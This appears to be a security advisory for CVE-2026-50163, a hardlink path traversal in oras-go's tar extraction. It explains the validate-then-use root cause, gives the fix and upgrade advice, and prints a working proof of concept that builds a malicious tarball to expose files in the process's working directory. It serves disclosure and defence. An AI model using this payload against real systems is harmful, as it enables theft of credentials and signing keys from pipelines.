CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution
A crafted OCI artifact with a tar hardlink entry pointing to a relative path can trick oras-go into linking files outside the extraction directory, exposing arbitrary files in the caller's working dir
The problem
The tar extraction helper `ensureLinkPath` in `content/file/utils.go` validates a hardlink target by resolving it relative to the link's parent directory, but then returns the original unresolved string to the caller.
The caller passes that raw relative string to `os.Link`, which hands it to the `link(2)` syscall. The kernel resolves the relative path against the process's current working directory, not the extract base. Any file the invoker owns in the CWD becomes reachable.
In CI pipelines and Kubernetes operators, that includes `.env` files, cloud credentials, and signing keys.
Proof of concept
A working proof-of-concept for CVE-2026-50163 in oras.land/oras-go/v2, with the exact payload below.
# 1. Create a victim file in the process CWD
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Build a malicious tarball with a TypeLink entry whose Linkname is RELATIVE
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE -- resolved vs CWD at link(2) time
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, add unpack annotation, then pull from cwd-space/
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# Patch layout/blobs/sha256/<manifest> to add:
# "annotations": {"io.deis.oras.content.unpack": "true"} on layers[0]
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Confirm inode sharing (same inode = hardlink escape confirmed)
stat -c '%i' extract/payload.tar.gz/evil_cwd_link
stat -c '%i' cwd-space/victim.secret
cat extract/payload.tar.gz/evil_cwd_link # prints: TOP SECRET FROM CWDRoot cause is a validate-then-use mismatch (CWE-22 / CWE-59). `ensureLinkPath` resolves the relative `Linkname` as `filepath.Join(filepath.Dir(link), target)` for validation, confirming it stays inside the extract base. But it returns the original `target` string, not the resolved path. `os.Link(target, filePath)` then calls `link(2)` with that relative string, and the kernel resolves it against the process CWD.
The patch at commit `b11f777f8d405c5023c4b307cfdc5068dfc3d406` fixes this by making `ensureLinkPath` return the fully-resolved absolute path for the `TypeLink` case, so `os.Link` receives the absolute path and CWD is never consulted. The symlink path is unchanged because `os.Symlink` stores the target string verbatim without CWD resolution.
The fix
Upgrade to `oras.land/oras-go/v2` v2.6.2 or later (patch commit b11f777f8d405c5023c4b307cfdc5068dfc3d406). No configuration workaround exists for earlier versions. If immediate upgrade is not possible, avoid pulling OCI artifacts from untrusted registries using `content/file` with the `io.deis.oras.content.unpack` annotation enabled.
Related research
- high · 7.5CVE-2026-50151CVE-2026-50151: oras-go Credential Leak via Unvalidated Location Header in Blob Upload
- criticalCVE-2026-52811CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink
- high · 7.1CVE-2026-49339CVE-2026-49339: gonic Playlist ID Path Traversal Bypasses Ownership Check
- high · 8.1CVE-2026-49340CVE-2026-49340: gonic Arbitrary File Write via Path Traversal in createPlaylist